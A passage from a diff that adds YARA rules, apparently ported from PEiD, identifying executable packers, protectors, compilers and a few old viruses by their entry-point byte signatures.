+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v5__BitArts_
+{
+	meta:
+		description = "Crunch v5 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0977_
+{
+	meta:
+		description = "PECompact v0.977"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Winkript_v10_
+{
+	meta:
+		description = "Winkript v1.0"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_Dll__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 Dll -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_12__NEX_
+{
+	meta:
+		description = "N-Joy 1.2 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crinkler_V03V04__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B8 00 00 42 00 31 DB 43 EB 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXcrypter__archphaseNWC_
+{
+	meta:
+		description = "UPXcrypter -> archphase/NWC"
+	strings:
+		$0 = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260a_
+{
+	meta:
+		description = "Armadillo v2.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1032__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.03.2 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v082_
+{
+	meta:
+		description = "aPack v0.82"
+	strings:
+		$0 = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v01__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.1 -> emadicius"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+		$1 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Armadillo_v201_
+{
+	meta:
+		description = "Armadillo v2.01"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _HEALTH_v51_by_Muslim_MPolyak_
+{
+	meta:
+		description = "HEALTH v.5.1 by Muslim M.Polyak"
+	strings:
+		$0 = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_V100__BeRo_
+{
+	meta:
+		description = "BeRoEXEPacker V1.00 -> BeRo"
+	strings:
+		$0 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+	condition:
+		$0
+}
+rule _AHTeam_EP_Protector_03_fake_SVKP_13x__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake SVKP 1.3x) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 00 00 00 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_18_
+{
+	meta:
+		description = "Private EXE Protector 1.8"
+	strings:
+		$0 = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+	condition:
+		$0
+}
+rule _NSPack_3x__Liu_Xing_Ping_
+{
+	meta:
+		description = "NSPack 3.x -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v10_
+{
+	meta:
+		description = "ASProtect v1.0"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_102__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.2 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v024__v028_Alpha__Dwing_
+{
+	meta:
+		description = "Upack v0.24 ~ v0.28 Alpha -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_03__by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.3 - by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+	condition:
+		$0
+}
+rule _PE_Diminisher_v01_
+{
+	meta:
+		description = "PE Diminisher v0.1"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+		$1 = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeLock_v100_
+{
+	meta:
+		description = "ExeLock v1.00"
+	strings:
+		$0 = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Password_Protector_c_MiniSoft_1992_
+{
+	meta:
+		description = "Password Protector (c) MiniSoft 1992"
+	strings:
+		$0 = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v13x_
+{
+	meta:
+		description = "EXE32Pack v1.3x"
+	strings:
+		$0 = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v10_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_32Lite_003__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [32Lite 0.03] --> Anorganix"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_JDPack_1x__JDProtect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9] --> Anorganix"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.32 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+		$1 = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+	condition:
+		$0 or $1
+}
+rule _PECompact_v09782_
+{
+	meta:
+		description = "PECompact v0.978.2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_13B__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.3B -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AverCryptor_10__os1r1s_
+{
+	meta:
+		description = "AverCryptor 1.0 -> os1r1s"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V14__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.4 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v102__v103_DLL__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.03 DLL --> BoB / BobSoft"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Stelth_PE_101__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Ste@lth PE 1.01] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_NcuLi1688_
+{
+	meta:
+		description = "Vx: Ncu-Li.1688"
+	strings:
+		$0 = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Cryptor_13RC__Tom_Commander_
+{
+	meta:
+		description = "ExeShield Cryptor 1.3RC -> Tom Commander"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_FSG_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.31] --> Anorganix"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_023_alpha__Ryd_
+{
+	meta:
+		description = "kkrunchy 0.23 alpha -> Ryd"
+	strings:
+		$0 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Morphine_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Morphine 1.2] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encruptor_v113_
+{
+	meta:
+		description = "Stone`s PE Encruptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.02b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PACKWIN_v101p_
+{
+	meta:
+		description = "PACKWIN v1.01p"
+	strings:
+		$0 = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v036_alpha__Dwing_
+{
+	meta:
+		description = "Upack v0.36 alpha -> Dwing"
+	strings:
+		$0 = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+	condition:
+		$0
+}
+rule _Upx_v12__Marcus__Lazlo_
+{
+	meta:
+		description = "Upx v1.2 -> Marcus & Lazlo"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_001__DJ_Siba_
+{
+	meta:
+		description = "UPX$HiT 0.0.1 -> DJ Siba"
+	strings:
+		$0 = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Nullsoft_PIMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.x"
+	strings:
+		$0 = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_13__NEX_
+{
+	meta:
+		description = "N-Joy 1.3 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VIRUS__IWormHybris_
+{
+	meta:
+		description = "VIRUS - I-Worm.Hybris"
+	strings:
+		$0 = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+	condition:
+		$0
+}
+rule _ASProtect_v123_RC4_build_0807_dll__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13013__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.13 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TMTPascal_v040_
+{
+	meta:
+		description = "TMT-Pascal v0.40"
+	strings:
+		$0 = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_Poly_21__Extranger_
+{
+	meta:
+		description = "SimbiOZ Poly 2.1 -> Extranger"
+	strings:
+		$0 = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypt_102_
+{
+	meta:
+		description = "PE-Crypt 1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _diProtector_V1X__diProtector_Software_
+{
+	meta:
+		description = "diProtector V1.X -> diProtector Software"
+	strings:
+		$0 = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Imploder_v104__BoB__BobSoft_
+{
+	meta:
+		description = "Imploder v1.04 --> BoB / BobSoft"
+	strings:
